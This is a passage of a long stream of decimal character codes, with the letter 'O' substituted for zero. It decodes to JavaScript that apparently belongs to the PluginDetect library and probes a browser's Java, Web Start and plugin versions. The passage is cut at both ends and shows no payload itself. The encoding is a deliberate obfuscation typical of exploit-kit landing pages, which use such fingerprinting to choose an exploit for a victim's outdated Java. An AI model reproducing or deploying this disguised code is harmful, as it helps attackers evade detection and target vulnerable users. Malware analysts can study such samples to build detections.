1O8,1O7,1O5,116,34,44,34,97,112,112,1O8,1O5,99,97,116,1O5,111,11O,47,11O,112,114,117,11O,116,1O5,1O9,1O1,45,115,99,114,1O5,112,116,97,98,1O8,1O1,45,112,1O8,117,1O3,1O5,11O,59,68,1O1,112,1O8,111,121,1O9,1O1,11O,116,84,111,111,1O8,1O7,1O5,116,34,93,44,1OO,1O5,115,97,98,1O8,1O1,1OO,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,114,1O1,116,117,114,11O,32,116,1O4,1O5,115,46,36,36,46,1O5,115,68,1O5,115,97,98,1O8,1O1,1OO,46,68,84,75,4O,41,125,44,113,117,1O1,114,121,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,1O7,61,116,1O4,1O5,115,44,1O3,61,1O7,46,36,44,1OO,61,1O7,46,36,36,44,1O6,44,1O8,44,1O4,44,1O9,61,123,125,44,1O2,61,123,125,44,97,44,99,61,11O,117,1O8,1O8,44,1O5,61,11O,117,1O8,1O8,44,98,61,4O,1O7,46,1O4,97,115,82,117,11O,124,124,1O7,46,1OO,1O5,115,97,98,1O8,1O1,1OO,4O,41,41,59,1O7,46,1O4,97,115,82,117,11O,61,49,59,1O5,1O2,4O,98,41,123,114,1O1,116,117,114,11O,32,1O7,125,1O7,46,115,116,97,116,117,115,61,48,59,1O5,1O2,4O,1O3,46,1O5,115,73,69,38,38,54,6O,61,1O3,46,118,1O1,114,73,69,41,123,1O2,111,114,4O,1O8,61,48,59,1O8,6O,1O7,46,99,1O8,97,115,115,73,68,46,1O8,1O1,11O,1O3,116,1O4,59,1O8,43,43,41,123,1O7,46,72,84,77,76,61,1O3,46,1O5,11O,115,1O1,114,116,72,84,77,76,4O,34,111,98,1O6,1O1,99,116,34,44,91,34,99,1O8,97,115,115,1O5,1OO,34,44,1O7,46,99,1O8,97,115,115,73,68,91,1O8,93,93,44,91,93,41,59,99,61,1O3,46,1O3,1O1,116,68,79,77,111,98,1O6,4O,1O7,46,72,84,77,76,41,59,116,114,121,123,1O5,1O2,4O,99,38,38,99,46,1O6,118,1O9,115,41,123,98,114,1O1,97,1O7,125,125,99,97,116,99,1O4,4O,1O6,41,123,125,125,125,1O1,1O8,115,1O1,123,1O5,1O2,4O,33,1O3,46,1O5,115,73,69,38,38,4O,1O4,61,1O3,46,1O4,97,115,77,1O5,1O9,1O1,84,121,112,1O1,4O,1O7,46,1O9,1O5,1O9,1O1,84,121,112,1O1,41,41,38,38,1O4,46,116,121,112,1O1,41,123,1O7,46,72,84,77,76,61,1O3,46,1O5,11O,115,1O1,114,116,72,84,77,76,4O,34,111,98,1O6,1O1,99,116,34,44,91,34,116,121,112,1O1,34,44,1O4,46,116,121,112,1O1,93,44,91,93,41,59,99,61,1O3,46,1O3,1O1,116,68,79,77,111,98,1O6,4O,1O7,46,72,84,77,76,41,125,125,1O5,1O2,4O,99,41,123,116,114,121,123,97,61,99,46,1O6,118,1O9,115,59,1O5,1O2,4O,97,41,123,1O5,61,97,46,1O3,1O1,116,76,1O1,11O,1O3,116,1O4,4O,41,59,1O5,1O2,4O,1O3,46,1O5,115,78,117,1O9,4O,1O5,41,41,123,1O7,46,115,116,97,116,117,115,61,48,6O,1O5,63,49,58,45,49,59,1O2,111,114,4O,1O8,61,48,59,1O8,6O,1O5,59,1O8,43,43,41,123,1O4,61,1O3,46,1O3,1O1,116,78,117,1O9,4O,97,46,1O3,1O1,116,4O,1O5,45,49,45,1O8,41,46,118,1O1,114,115,1O5,111,11O,41,59,1O5,1O2,4O,1O4,41,123,1O7,46,86,69,82,83,73,79,78,83,46,112,117,115,1O4,4O,1O4,41,59,1O2,91,34,97,34,43,1O3,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,1O4,41,93,61,49,125,125,125,125,125,99,97,116,99,1O4,4O,1O6,41,123,125,125,1O4,61,48,59,1O2,111,114,4O,1O8,32,1O5,11O,32,1O2,41,123,1O4,43,43,125,1O5,1O2,4O,1O4,38,38,1O4,33,61,61,1O7,46,86,69,82,83,73,79,78,83,46,1O8,1O1,11O,1O3,116,1O4,41,123,1O7,46,86,69,82,83,73,79,78,83,61,91,93,125,1O5,1O2,4O,1O7,46,86,69,82,83,73,79,78,83,46,1O8,1O1,11O,1O3,116,1O4,41,123,1O7,46,118,1O1,114,115,1O5,111,11O,61,1O3,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,1O7,46,86,69,82,83,73,79,78,83,91,48,93,41,125,59,114,1O1,116,117,114,11O,32,1O7,125,125,44,65,88,79,58,123,36,58,49,44,1O4,97,115,82,117,11O,58,48,44,86,69,82,83,73,79,78,83,58,91,93,44,118,1O1,114,115,1O5,111,11O,58,34,34,44,1OO,1O5,115,97,98,1O8,1O1,1OO,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,114,1O1,116,117,114,11O,32,116,1O4,1O5,115,46,36,36,46,1O5,115,68,1O5,115,97,98,1O8,1O1,1OO,46,65,88,79,4O,41,125,44,74,97,118,97,86,1O1,114,115,1O5,111,11O,115,58,91,91,49,44,57,44,49,44,52,48,93,44,91,49,44,56,44,49,44,52,48,93,44,91,49,44,55,44,49,44,52,48,93,44,91,49,44,54,44,48,44,52,48,93,44,91,49,44,53,44,48,44,51,48,93,44,91,49,44,52,44,5O,44,51,48,93,44,91,49,44,51,44,49,44,51,48,93,93,44,113,117,1O1,114,121,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,97,61,116,1O4,1O5,115,44,1O1,61,97,46,36,44,98,61,97,46,36,36,44,99,61,4O,97,46,1O4,97,115,82,117,11O,124,124,97,46,1OO,1O5,115,97,98,1O8,1O1,1OO,4O,41,41,59,97,46,1O4,97,115,82,117,11O,61,49,59,1O5,1O2,4O,99,41,123,114,1O1,116,117,114,11O,32,97,125,118,97,114,32,1O5,61,91,93,44,1O7,61,91,49,44,53,44,48,44,49,52,93,44,1O6,61,91,49,44,54,44,48,44,5O,93,44,1O4,61,91,49,44,51,44,49,44,48,93,44,1O3,61,91,49,44,52,44,5O,44,48,93,44,1O2,61,91,49,44,53,44,48,44,55,93,44,1OO,61,98,46,1O3,1O1,116,73,11O,1O2,111,63,116,114,117,1O1,58,1O2,97,1O8,115,1O1,44,1O8,61,123,125,59,1O5,1O2,4O,98,46,1O9,1O5,11O,73,69,118,1O1,114,6O,61,1O1,46,118,1O1,114,73,69,41,123,1O5,61,97,46,115,1O1,97,114,99,1O4,4O,1O6,44,1O6,44,1OO,41,59,1O5,1O2,4O,48,6O,1O5,46,1O8,1O1,11O,1O3,116,1O4,38,38,1OO,41,123,1O5,61,97,46,115,1O1,97,114,99,1O4,4O,1O7,44,1O7,44,1OO,41,125,125,1O1,1O8,115,1O1,123,1O5,1O2,4O,1OO,41,123,1O5,61,97,46,115,1O1,97,114,99,1O4,4O,1O2,44,1O2,44,116,114,117,1O1,41,125,1O5,1O2,4O,1O5,46,1O8,1O1,11O,1O3,116,1O4,61,61,48,41,123,1O5,61,97,46,115,1O1,97,114,99,1O4,4O,1O4,44,1O3,44,1O2,97,1O8,115,1O1,41,125,125,1O5,1O2,4O,1O5,46,1O8,1O1,11O,1O3,116,1O4,41,123,97,46,118,1O1,114,115,1O5,111,11O,61,1O5,91,48,93,59,97,46,86,69,82,83,73,79,78,83,61,91,93,46,99,111,11O,99,97,116,4O,1O5,41,125,59,114,1O1,116,117,114,11O,32,97,125,44,115,1O1,97,114,99,1O4,58,1O2,117,11O,99,116,1O5,111,11O,4O,97,44,1O6,44,112,41,123,118,97,114,32,1O4,44,1OO,44,1O2,61,116,1O4,1O5,115,44,1O1,61,1O2,46,36,44,1O7,61,1O2,46,36,36,44,11O,44,99,44,1O8,44,113,44,98,44,111,44,114,44,1O5,61,91,93,59,1O5,1O2,4O,48,6O,1O1,46,99,111,1O9,112,97,114,1O1,78,117,1O9,115,4O,97,46,1O6,111,1O5,11O,4O,34,44,34,41,44,1O6,46,1O6,111,1O5,11O,4O,34,44,34,41,41,41,123,1O6,61,97,125,1O6,61,1O1,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,1O6,46,1O6,111,1O5,11O,4O,34,44,34,41,41,59,118,97,114,32,1O9,44,115,61,34,49,44,52,44,5O,44,48,34,44,1O3,61,34,74,97,118,97,8O,1O8,117,1O3,1O5,11O,46,34,43,97,91,48,93,43,34,34,43,97,91,49,93,43,34,34,43,97,91,5O,93,43,34,34,43,4O,48,6O,97,91,51,93,63,4O,34,95,34,43,4O,97,91,51,93,6O,49,48,63,34,48,34,58,34,34,41,43,97,91,51,93,41,58,34,34,41,59,1O2,111,114,4O,1O4,61,48,59,1O4,6O,1O2,46,74,97,118,97,86,1O1,114,115,1O5,111,11O,115,46,1O8,1O1,11O,1O3,116,1O4,59,1O4,43,43,41,123,1OO,61,1O2,46,74,97,118,97,86,1O1,114,115,1O5,111,11O,115,91,1O4,93,59,11O,61,34,74,97,118,97,8O,1O8,117,1O3,1O5,11O,46,34,43,1OO,91,48,93,43,34,34,43,1OO,91,49,93,59,98,61,1OO,91,48,93,43,34,46,34,43,1OO,91,49,93,43,34,46,34,59,1O2,111,114,4O,1O8,61,1OO,91,5O,93,59,1O8,62,61,48,59,1O8,45,45,41,123,114,61,34,74,97,118,97,87,1O1,98,83,116,97,114,116,46,1O5,115,73,11O,115,116,97,1O8,1O8,1O1,1OO,46,34,43,98,43,1O8,43,34,46,48,34,59,1O5,1O2,4O,1O1,46,99,111,1O9,112,97,114,1O1,78,117,1O9,115,4O,1OO,91,48,93,43,34,44,34,43,1OO,91,49,93,43,34,44,34,43,1O8,43,34,44,48,34,44,1O6,41,62,61,48,38,38,33,1O1,46,1O3,1O1,116,65,88,79,4O,114,41,41,123,99,111,11O,116,1O5,11O,117,1O1,125,1O9,61,48,62,1O1,46,99,111,1O9,112,97,114,1O1,78,117,1O9,115,4O,1OO,91,48,93,43,34,44,34,43,1OO,91,49,93,43,34,44,34,43,1O8,43,34,44,48,34,44,115,41,63,116,114,117,1O1,58,1O2,97,1O8,115,1O1,59,1O2,111,114,4O,113,61,1OO,91,51,93,59,113,62,61,48,59,113,45,45,41,123,99,61,1O8,43,34,95,34,43,4O,113,6O,49,48,63,34,48,34,43,113,58,113,41,59,111,61,11O,43,99,59,1O5,1O2,4O,1O1,46,1O3,1O1,116,65,88,79,4O,111,41,38,38,4O,1O9,124,124,1O1,46,1O3,1O1,116,65,88,79,4O,114,41,41,41,123,1O5,46,112,117,115,1O4,4O,98,43,99,41,59,1O5,1O2,4O,33,112,41,123,114,1O1,116,117,114,11O,32,1O5,125,125,1O5,1O2,4O,111,61,61,1O3,41,123,114,1O1,116,117,114,11O,32,1O5,125,125,1O5,1O2,4O,1O1,46,1O3,1O1,116,65,88,79,4O,11O,43,1O8,41,38,38,4O,1O9,124,124,1O1,46,1O3,1O1,116,65,88,79,4O,114,41,41,41,123,1O5,46,112,117,115,1O4,4O,98,43,1O8,41,59,1O5,1O2,4O,33,112,41,123,114,1O1,116,117,114,11O,32,1O5,125,125,1O5,1O2,4O,11O,43,1O8,61,61,1O3,41,123,114,1O1,116,117,114,11O,32,1O5,125,125,125,114,1O1,116,117,114,11O,32,1O5,125,125,44,11O,97,118,77,1O5,1O9,1O1,58,123,36,58,49,44,1O4,97,115,82,117,11O,58,48,44,1O9,1O5,1O9,1O1,116,121,112,1O1,58,34,34,44,118,1O1,114,115,1O5,111,11O,58,34,34,44,1O8,1O1,11O,1O3,116,1O4,58,48,44,1O9,1O5,1O9,1O1,79,98,1O6,58,48,44,112,1O8,117,1O3,1O5,11O,79,98,1O6,58,48,44,1OO,1O5,115,97,98,1O8,1O1,1OO,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,114,1O1,116,117,114,11O,32,116,1O4,1O5,115,46,36,36,46,1O5,115,68,1O5,115,97,98,1O8,1O1,1OO,46,11O,97,118,77,1O5,1O9,1O1,4O,41,125,44,113,117,1O1,114,121,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,1O5,61,116,1O4,1O5,115,44,1O2,61,1O5,46,36,44,97,61,1O5,46,36,36,44,98,61,4O,1O5,46,1O4,97,115,82,117,11O,124,124,1O5,46,1OO,1O5,115,97,98,1O8,1O1,1OO,4O,41,41,59,1O5,46,1O4,97,115,82,117,11O,61,49,59,1O5,1O2,4O,98,41,123,114,1O1,116,117,114,11O,32,1O5,125,59,118,97,114,32,11O,61,47,94,92,115,42,97,112,112,1O8,1O5,99,97,116,1O5,111,11O,92,47,12O,45,1O6,97,118,97,45,97,112,112,1O8,1O1,116,59,1O6,112,1O5,45,118,1O1,114,115,1O5,111,11O,92,115,42,61,92,115,42,4O,92,1OO,46,42,41,36,47,1O5,44,1O3,44,1O8,44,1O6,44,1OO,61,34,34,44,1O4,61,34,97,34,44,111,44,1O9,44,1O7,61,123,125,44,99,61,1O2,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,34,48,34,41,59,1O2,111,114,4O,1O8,61,48,59,1O8,6O,11O,97,118,1O5,1O3,97,116,111,114,46,1O9,1O5,1O9,1O1,84,121,112,1O1,115,46,1O8,1O1,11O,1O3,116,1O4,59,1O8,43,43,41,123,111,61,11O,97,118,1O5,1O3,97,116,111,114,46,1O9,1O5,1O9,1O1,84,121,112,1O1,115,91,1O8,93,59,1O9,61,111,63,111,46,1O1,11O,97,98,1O8,1O1,1OO,8O,1O8,117,1O3,1O5,11O,58,48,59,1O3,61,111,38,38,11O,46,116,1O1,115,116,4O,111,46,116,121,112,1O1,124,124,1OO,41,63,1O2,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,1O2,46,1O3,1O1,116,78,117,1O9,4O,82,1O1,1O3,69,12O,112,46,36,49,41,41,58,48,59,1O5,1O2,4O,1O3,38,38,1O9,38,38,4O,1O9,46,1OO,1O1,115,99,114,1O5,112,116,1O5,111,11O,124,124,1O9,46,11O,97,1O9,1O1,41,41,123,1O5,1O2,4O,33,1O7,91,1O4,43,1O3,93,41,123,1O5,46,1O8,1O1,11O,1O3,116,1O4,43,43,125,1O7,91,1O4,43,1O3,93,61,111,46,116,121,112,1O1,59,1O5,1O2,4O,48,6O,1O2,46,99,111,1O9,112,97,114,1O1,78,117,1O9,115,4O,1O3,44,99,41,41,123,99,61,1O3,125,125,125,1O3,61,1O7,91,1O4,43,99,93,59,1O5,1O2,4O,1O3,41,123,111,61,1O2,46,1O4,97,115,77,1O5,1O9,1O1,84,121,112,1O1,4O,1O3,41,59,1O5,46,1O9,1O5,1O9,1O1,79,98,1O6,61,111,59,1O5,46,112,1O8,117,1O3,1O5,11O,79,98,1O6,61,111,63,111,46,1O1,11O,97,98,1O8,1O1,1OO,8O,1O8,117,1O3,1O5,11O,58,48,59,1O5,46,1O9,1O5,1O9,1O1,116,121,112,1O1,61,1O3,59,1O5,46,118,1O1,114,115,1O5,111,11O,61,99,125,59,114,1O1,116,117,114,11O,32,1O5,125,125,44,11O,97,118,8O,1O8,117,1O3,1O5,11O,58,123,36,58,49,44,1O4,97,115,82,117,11O,58,48,44,118,1O1,114,115,1O5,111,11O,58,34,34,44,1OO,1O5,115,97,98,1O8,1O1,1OO,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,114,1O1,116,117,114,11O,32,116,1O4,1O5,115,46,36,36,46,1O5,115,68,1O5,115,97,98,1O8,1O1,1OO,46,11O,97,118,8O,1O8,117,1O3,1O5,11O,4O,41,125,44,113,117,1O1,114,121,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,1O9,61,116,1O4,1O5,115,44,1O1,61,1O9,46,36,44,99,61,1O9,46,36,36,44,1O4,61,99,46,11O,97,118,1O5,1O3,97,116,111,114,44,1O6,44,1O8,44,1O7,44,1O3,44,1OO,44,97,44,1O5,44,1O2,61,48,44,98,61,4O,1O9,46,1O4,97,115,82,117,11O,124,124,1O9,46,1OO,1O5,115,97,98,1O8,1O1,1OO,4O,41,41,59,1O9,46,1O4,97,115,82,117,11O,61,49,59,1O5,1O2,4O,98,41,123,114,1O1,116,117,114,11O,32,1O9,125,59,97,61,1O4,46,112,1O8,117,1O3,1O5,11O,79,98,1O6,46,11O,97,1O9,1O1,124,124,34,34,59,1O5,61,1O4,46,112,1O8,117,1O3,1O5,11O,79,98,1O6,46,1OO,1O1,115,99,114,1O5,112,116,1O5,111,11O,124,124,34,34,59,1O5,1O2,4O,33,1O2,124,124,99,46,1OO,1O1,98,117,1O3,41,123,1O3,61,47,74,97,118,97,46,42,84,77,46,42,8O,1O8,97,116,1O2,111,114,1O9,91,94,92,1OO,93,42,4O,92,1OO,43,41,4O,63,58,91,92,46,44,95,93,4O,92,1OO,42,41,41,63,4O,63,58,92,115,42,91,85,112,1OO,97,116,1O1,93,43,92,115,42,4O,92,1OO,42,41,41,63,47,1O5,59,1O5,1O2,4O,4O,1O3,46,116,1O1,115,116,4O,97,41,124,124,1O3,46,116,1O1,115,116,4O,1O5,41,41,38,38,112,97,114,115,1O1,73,11O,116,4O,82,1O1,1O3,69,12O,112,46,36,49,44,49,48,41,62,61,53,41,123,1O2,61,34,49,44,34,43,82,1O1,1O3,69,12O,112,46,36,49,43,34,44,34,43,4O,82,1O1,1O3,69,12O,112,46,36,5O,63,82,1O1,1O3,69,12O,112,46,36,5O,58,34,48,34,41,43,34,44,34,43,4O,82,1O1,1O3,69,12O,112,46,36,51,63,82,1O1,1O3,69,12O,112,46,36,51,58,34,48,34,41,125,125,1O5,1O2,4O,33,1O2,124,124,99,46,1OO,1O1,98,117,1O3,41,123,1O3,61,47,74,97,118,97,91,94,92,1OO,93,42,8O,1O8,117,1O3,45,1O5,11O,47,1O5,59,1O8,61,1O3,46,116,1O1,115,116,4O,1O5,41,63,1O1,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,1O1,46,1O3,1O1,116,78,117,1O9,4O,1O5,41,41,58,48,59,1O7,61,1O3,46,116,1O1,115,116,4O,97,41,63,1O1,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,1O1,46,1O3,1O1,116,78,117,1O9,4O,97,41,41,58,48,59,1O5,1O2,4O,1O8,38,38,4O,1O1,46,99,111,1O9,112,97,114,1O1,78,117,1O9,115,4O,1O8,44,1O1,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,34,49,44,51,34,41,41,6O,48,124,124,1O1,46,99,111,1O9,112,97,114,1O1,78,117,1O9,115,4O,1O8,44,1O1,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,34,5O,34,41,41,62,61,48,41,41,123,1O8,61,48,125,1O5,1O2,4O,1O7,38,38,4O,1O1,46,99,111,1O9,112,97,114,1O1,78,117,1O9,115,4O,1O7,44,1O1,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,34,49,44,51,34,41,41,6O,48,124,124,1O1,46,99,111,1O9,112,97,114,1O1,78,117,1O9,115,4O,1O7,44,1O1,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,34,5O,34,41,41,62,61,48,41,41,123,1O7,61,48,125,1OO,61,1O8,38,38,1O7,63,4O,48,6O,1O1,46,99,111,1O9,112,97,114,1O1,78,117,1O9,115,4O,1O8,44,1O7,41,63,1O8,58,1O7,41,58,4O,1O8,124,124,1O7,41,59,1O5,1O2,4O,1OO,41,123,1O2,61,1OO,125,125,1O5,1O2,4O,33,1O2,38,38,1O1,46,1O5,115,83,97,1O2,97,114,1O5,38,38,1O1,46,79,83,61,61,5O,41,123,1O6,61,1O1,46,1O2,1O5,11O,1OO,78,97,118,8O,1O8,117,1O3,1O5,11O,4O,34,74,97,118,97,46,42,92,1OO,46,42,8O,1O8,117,1O3,45,1O5,11O,46,42,67,111,99,111,97,34,44,48,41,59,1O5,1O2,4O,1O6,41,123,1O8,61,1O1,46,1O3,1O1,116,78,117,1O9,4O,1O6,46,1OO,1O1,115,99,114,1O5,112,116,1O5,111,11O,41,59,1O5,1O2,4O,1O8,41,123,1O2,61,1O8,125,125,125,59,1O5,1O2,4O,1O2,41,123,1O9,46,118,1O1,114,115,1O5,111,11O,61,1O1,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,1O2,41,125,59,114,1O1,116,117,114,11O,32,1O9,125,125,44,1O8,97,11O,1O3,58,123,36,58,49,44,83,121,115,116,1O1,1O9,58,123,36,58,49,44,1O4,97,115,82,117,11O,58,48,44,114,1O1,115,117,1O8,116,58,91,11O,117,1O8,1O8,44,11O,117,1O8,1O8,93,44,1OO,1O5,115,97,98,1O8,1O1,1OO,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,114,1O1,116,117,114,11O,32,116,1O4,1O5,115,46,36,36,46,1O5,115,68,1O5,115,97,98,1O8,1O1,1OO,46,119,1O5,11O,1OO,111,119,68,111,116,74,97,118,97,4O,41,125,44,1O3,1O1,116,8O,114,111,112,1O1,114,116,121,72,97,115,58,1O2,117,11O,99,116,1O5,111,11O,4O,97,41,123,118,97,114,32,98,61,116,1O4,1O5,115,44,1OO,61,98,46,36,44,99,61,98,46,1O3,1O1,116,8O,114,111,112,1O1,114,116,121,4O,41,91,48,93,59,114,1O1,116,117,114,11O,4O,97,38,38,99,38,38,1OO,46,99,111,1O9,112,97,114,1O1,78,117,1O9,115,4O,1OO,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,97,41,44,1OO,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,99,41,41,61,61,61,48,41,63,49,58,48,125,44,1O3,1O1,116,8O,114,111,112,1O1,114,116,121,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,1O2,61,116,1O4,1O5,115,44,1O3,61,1O2,46,36,44,1OO,61,1O2,46,36,36,44,1O5,44,1O4,61,123,125,44,98,61,1O2,46,1O4,97,115,82,117,11O,124,124,1O2,46,1OO,1O5,115,97,98,1O8,1O1,1OO,4O,41,59,1O2,46,1O4,97,115,82,117,11O,61,49,59,1O5,1O2,4O,33,98,41,123,118,97,114,32,97,61,34,1O6,97,118,97,95,113,113,113,57,57,48,34,59,1O3,91,97,93,61,11O,117,1O8,1O8,59,116,114,121,123,118,97,114,32,99,61,1OO,111,99,117,1O9,1O1,11O,116,46,99,114,1O1,97,116,1O1,69,1O8,1O1,1O9,1O1,11O,116,4O,34,115,99,114,1O5,112,116,34,41,59,99,46,116,121,112,1O1,61,34,116,1O1,12O,116,47,1O6,97,118,97,115,99,114,1O5,112,116,34,59,99,46,97,112,112,1O1,11O,1OO,67,1O4,1O5,1O8,1OO,4O,1OO,111,99,117,1O9,1O1,11O,116,46,99,114,1O1,97,116,1O1,84,1O1,12O,116,78,111,1OO,1O1,4O,39,4O,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,1O1,44,97,59,116,114,121,123,97,61,91,119,1O5,11O,1OO,111,119,46,1O6,97,118,97,46,1O8,97,11O,1O3,46,83,121,115,116,1O1,1O9,46,1O3,1O1,116,8O,114,111,112,1O1,114,116,121,4O,34,1O6,97,118,97,46,118,1O1,114,115,1O5,111,11O,34,41,43,34,32,34,44,119,1O5,11O,1OO,111,119,46,1O6,97,118,97,46,1O8,97,11O,1O3,46,83,121,115,116,1O1,1O9,46,1O3,1O1,116,8O,114,111,112,1O1,114,116,121,4O,34,1O6,97,118,97,46,118,1O1,11O,1OO,111,114,34,41,43,34,32,34,93,125,99,97,116,99,1O4,4O,1O1,41,123,125,59,39,43,1O3,46,11O,97,1O9,1O1,43,34,46,34,43,97,43,34,61,97,124,124,48,125,41,4O,41,59,34,41,41,59,1O3,46,1O4,1O1,97,1OO,46,1O5,11O,115,1O1,114,116,66,1O1,1O2,111,114,1O1,4O,99,44,1O3,46,1O4,1O1,97,1OO,46,1O2,1O5,114,115,116,67,1O4,1O5,1O8,1OO,41,59,1O3,46,1O4,1O1,97,1OO,46,114,1O1,1O9,111,118,1O1,67,1O4,1O5,1O8,1OO,4O,99,41,125,99,97,116,99,1O4,4O,1O5,41,123,125,1O5,1O2,4O,1O3,91,97,93,38,38,1O3,46,1O5,115,65,114,114,97,121,4O,1O3,91,97,93,41,41,123,1O2,46,114,1O1,115,117,1O8,116,61,91,93,46,99,111,11O,99,97,116,4O,1O3,91,97,93,41,125,125,114,1O1,116,117,114,11O,32,1O2,46,114,1O1,115,117,1O8,116,125,125,125,44,97,112,112,1O8,1O1,116,58,123,36,58,49,44,114,1O1,115,117,1O8,116,115,58,91,91,11O,117,1O8,1O8,44,11O,117,1O8,1O8,93,44,91,11O,117,1O8,1O8,44,11O,117,1O8,1O8,93,44,91,11O,117,1O8,1O8,44,11O,117,1O8,1O8,93,93,44,1O3,1O1,116,82,1O1,115,117,1O8,116,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,99,61,116,1O4,1O5,115,46,114,1O1,115,117,1O8,116,115,44,97,44,98,61,91,93,59,1O2,111,114,4O,97,61,48,59,97,6O,99,46,1O8,1O1,11O,1O3,116,1O4,59,97,43,43,41,123,98,61,99,91,97,93,59,1O5,1O2,4O,98,91,48,93,41,123,98,114,1O1,97,1O7,125,125,114,1O1,116,117,114,11O,91,93,46,99,111,11O,99,97,116,4O,98,41,125,44,72,84,77,76,58,91,48,44,48,44,48,93,44,97,99,116,1O5,118,1O1,58,91,48,44,48,44,48,93,44,68,117,1O9,1O9,121,79,98,1O6,84,97,1O3,72,84,77,76,58,48,44,68,117,1O9,1O9,121,83,112,97,11O,84,97,1O3,72,84,77,76,58,48,44,97,1O8,1O8,111,119,1O1,1OO,58,91,49,44,49,44,49,93,44,86,1O1,114,1O5,1O2,121,84,97,1O3,115,72,97,115,58,1O2,117,11O,99,116,1O5,111,11O,4O,99,41,123,118,97,114,32,1OO,61,116,1O4,1O5,115,44,98,59,1O2,111,114,4O,98,61,48,59,98,6O,1OO,46,97,1O8,1O8,111,119,1O1,1OO,46,1O8,1O1,11O,1O3,116,1O4,59,98,43,43,41,123,1O5,1O2,4O,1OO,46,97,1O8,1O8,111,119,1O1,1OO,91,98,93,61,61,61,99,41,123,114,1O1,116,117,114,11O,32,49,125,125,114,1O1,116,117,114,11O,32,48,125,44,115,97,118,1O1,65,115,86,1O1,114,1O5,1O2,121,84,97,1O3,115,65,114,114,97,121,58,1O2,117,11O,99,116,1O5,111,11O,4O,99,41,123,118,97,114,32,98,61,116,1O4,1O5,115,44,1OO,61,98,46,36,44,97,59,1O5,1O2,4O,1OO,46,1O5,115,65,114,114,97,121,4O,99,41,41,123,1O2,111,114,4O,97,61,48,59,97,6O,98,46,97,1O8,1O8,111,119,1O1,1OO,46,1O8,1O1,11O,1O3,116,1O4,59,97,43,43,41,123,1O5,1O2,4O,1OO,46,1O5,115,78,117,1O9,4O,99,91,97,93,41,41,123,1O5,1O2,4O,48,62,99,91,97,93,41,123,99,91,97,93,61,48,125,1O5,1O2,4O,99,91,97,93,62,51,41,123,99,91,97,93,61,51,125,98,46,97,1O8,1O8,111,119,1O1,1OO,91,97,93,61,99,91,97,93,125,125,125,125,44,115,1O1,116,86,1O1,114,1O5,1O2,121,84,97,1O3,115,65,114,114,97,121,58,1O2,117,11O,99,116,1O5,111,11O,4O,1OO,41,123,118,97,114,32,98,61,116,1O4,1O5,115,44,99,61,98,46,36,44,97,61,98,46,36,36,59,1O5,1O2,4O,97,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,68,111,11O,1O1,61,61,61,11O,117,1O8,1O8,41,123,98,46,115,97,118,1O1,65,115,86,1O1,114,1O5,1O2,121,84,97,1O3,115,65,114,114,97,121,4O,97,46,1O3,1O1,116,86,1O1,114,1O5,1O2,121,84,97,1O3,115,68,1O1,1O2,97,117,1O8,116,4O,41,41,125,1O5,1O2,4O,97,46,1OO,1O1,98,117,1O3,124,124,4O,97,46,118,1O1,114,1O5,1O2,121,38,38,97,46,118,1O1,114,1O5,1O2,121,46,1O5,115,69,11O,97,98,1O8,1O1,1OO,4O,41,41,41,123,98,46,115,97,118,1O1,65,115,86,1O1,114,1O5,1O2,121,84,97,1O3,115,65,114,114,97,121,4O,91,51,44,51,44,51,93,41,125,1O1,1O8,115,1O1,123,1O5,1O2,4O,1OO,41,123,98,46,115,97,118,1O1,65,115,86,1O1,114,1O5,1O2,121,84,97,1O3,115,65,114,114,97,121,4O,1OO,41,125,125,125,44,97,1O8,1O8,68,1O5,115,97,98,1O8,1O1,1OO,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,114,1O1,116,117,114,11O,32,116,1O4,1O5,115,46,36,36,46,1O5,115,68,1O5,115,97,98,1O8,1O1,1OO,46,97,1O8,1O8,65,112,112,1O8,1O1,116,115,4O,41,125,44,1O5,115,68,1O5,115,97,98,1O8,1O1,1OO,58,1O2,117,11O,99,116,1O5,111,11O,4O,1OO,41,123,118,97,114,32,98,61,116,1O4,1O5,115,44,99,61,98,46,36,44,97,61,98,46,36,36,59,1O5,1O2,4O,1OO,61,61,5O,38,38,33,99,46,1O5,115,73,69,41,123,114,1O1,116,117,114,11O,32,49,125,1O5,1O2,4O,1OO,61,61,61,48,124,124,1OO,61,61,5O,41,123,114,1O1,116,117,114,11O,32,97,46,1O5,115,68,1O5,115,97,98,1O8,1O1,1OO,46,79,98,1O6,1O1,99,116,84,97,1O3,4O,41,125,1O5,1O2,4O,1OO,61,61,49,41,123,114,1O1,116,117,114,11O,32,97,46,1O5,115,68,1O5,115,97,98,1O8,1O1,1OO,46,65,112,112,1O8,1O1,116,84,97,1O3,4O,41,125,125,44,99,97,11O,95,73,11O,115,1O1,114,116,95,81,117,1O1,114,121,58,1O2,117,11O,99,116,1O5,111,11O,4O,98,41,123,118,97,114,32,97,61,116,1O4,1O5,115,59,1O5,1O2,4O,97,46,72,84,77,76,91,98,93,41,123,114,1O1,116,117,114,11O,32,48,125,114,1O1,116,117,114,11O,32,33,97,46,1O5,115,68,1O5,115,